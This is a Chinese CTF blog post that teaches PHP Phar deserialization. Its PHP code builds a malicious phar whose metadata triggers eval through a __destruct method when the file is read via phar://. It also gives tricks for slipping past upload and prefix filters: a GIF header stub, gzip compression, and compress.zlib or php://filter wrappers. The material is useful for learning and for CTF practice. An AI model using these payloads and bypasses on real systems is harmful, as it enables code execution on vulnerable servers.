Skip to main content

👻CTF-Web-初识Phar反序列化

·175 words·1 min
Yalois
Author
Yalois

前言
#

常见的php反序列化都是通过unserilize()来实现的,除此之外还有不需要用到unserilize()的反序列化方法,比如Phar,那么来了解一下Phar反序列化

基础知识
#

什么是Phar
#

PHP手册是这么说的

phar 扩展提供了一种将整个 PHP 应用程序放入单个叫做“phar”(PHP 归档)文件的方法,以便于分发和安装。

什么是 phar?phar 归档的最佳特征是可以将多个文件组合成一个文件。 因此,phar 归档提供了在单个文件中分发完整的 PHP 应用程序并无需将其解压缩到磁盘而直接运行文件的方法。此外,phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。phar 有点像 PHP 应用程序的移动存储器。

Phar(PHP Archive)可以理解为一个压缩包。类似于Java的JAR文件。可以将多个PHP文件、资源和元数据打包成一个单一的文件,便于分发和部署。不经过解压就能被PHP访问。

Phar结构
#

1.Stub (phar文件标识)

​ 格式为=> xxx<?php xxx;__HALT_COMPILER();?>

​ 前面内容不限,后面必须以__HALT_COMPILER();结尾。

​ 在开发中Stub是当你直接运行 PHAR 文件时执行的 PHP 代码。

​ Stub通常用于初始化、加载其他文件或执行主要逻辑。

2.manifest (用序列化方式存储压缩文件的属性等信息)

​ phar文件本质上是一种压缩文件,其中每个被压缩文件的信息都放在这。

manifest还会以序列化的形式存储用户自定义的meta-data,常常利用这一点攻击。

3.contents (压缩文件的内容)

​ 被压缩的文件内容放在这

4.signature (签名,在文件末尾)

生成Phar
#

<?php
    
class test{
	public $name='phpinfo();';
}

//创建phar对象
$phar = new phar("test.phar");
//开始构建phar文件
$phar->startBuffering();
//设置存根Stub
$phar->setStub("<?php__HALT_COMPILER();?>");
//创建test利用对象
$o=new test();
//自定义Metadata 把test的实例对象传入 会以序列化的方式存入manifest
$phar->setMetadata($o);
//添加压缩的文件
$phar->addFromString("flag.txt","flag{123cascs}");
//结束创建,自动签名。
$phar->stopBuffering();

?>

执行这个php文件会在目录下创建test.phar。

执行之前需要把php.ini配置文件下的[Phar]phar.readonly改为off。默认是被注释掉的。

[Phar]
phar.readonly = Off

如果不改会报以下错误。看到报错就知道改什么了。

Fatal error: Uncaught UnexpectedValueException: creating archive “test.phar” disabled by the php.ini setting phar.readonly

test.phar的文件结构

image-20240727211112590

可以看出中间是对象序列化文本。

利用Phar
#

有序列化就有反序列化,读取phar文件的时候肯定是要经历反序列号的。

https://paper.seebug.org/680/ 中提到了大部分的文件系统函数通过phar://伪协议文件时都会进行meta-data的反序列化操作,可以利用的函数列表

img

刚才生成了phar文件,现在模拟一下利用phar反序列化的操作。

<?php
class test{
    public $name='';
    public function __destruct()
    {
        eval($this->name);
    }
}

echo file_get_contents('phar://test.phar/flag.txt');
?>

在这里test类的析构函数__destruct会eval执行$name变量。

在使用file_get_contents的时候使用了phar://伪协议,进行了反序列化,使得name的值为phpinfo();执行到析构函数的时候会eval(“phpinfo();”);

攻击者自定义$name的内容进行攻击。

image-20240727214242508

技巧
#

技巧1:伪造GIF文件
#

$phar->setStub('GIF89a'.'__HALT_COMPILER();');
//在前面加上文件标识头

技巧2:压缩绕过phar检查
#

像!preg_match("/__HALT_COMPILER/i",FILE_CONTENTS)这样的过滤,不允许在文件内存在 __HALT_COMPILER。可以压缩完再上传,原因是使用phar伪协议的时候遇到某些压缩文件会在自动解压。所以可以通过这种方式绕过对原来phar内容的匹配。

我一般用gz,别的还没用过。

e.g. > gzip test.phar 来压缩phar文件。

技巧3:绕过前缀过滤
#

有的不允许phar://前缀的参数,可以用下面的方法过滤

//1. 知道phar会识别压缩后文件,直接用php伪协议压缩也无妨
$file = 'compress.zlib://phar://test.phar';
$file = 'compress.bzip2://phar://test.phar';
//2. 用php://伪协议绕过
$file = 'php://filter/resource=phar://test.phar'

file_get_contents($file);

编辑日期:2024.7.31 15:30

参考文章

https://www.freebuf.com/articles/web/305292.html

https://paper.seebug.org/680/

https://www.214polaris.top/2023/10/29/newstarctf2023-pharone/index.html

https://www.cnblogs.com/yyy2015c01/p/phar-deserialization.html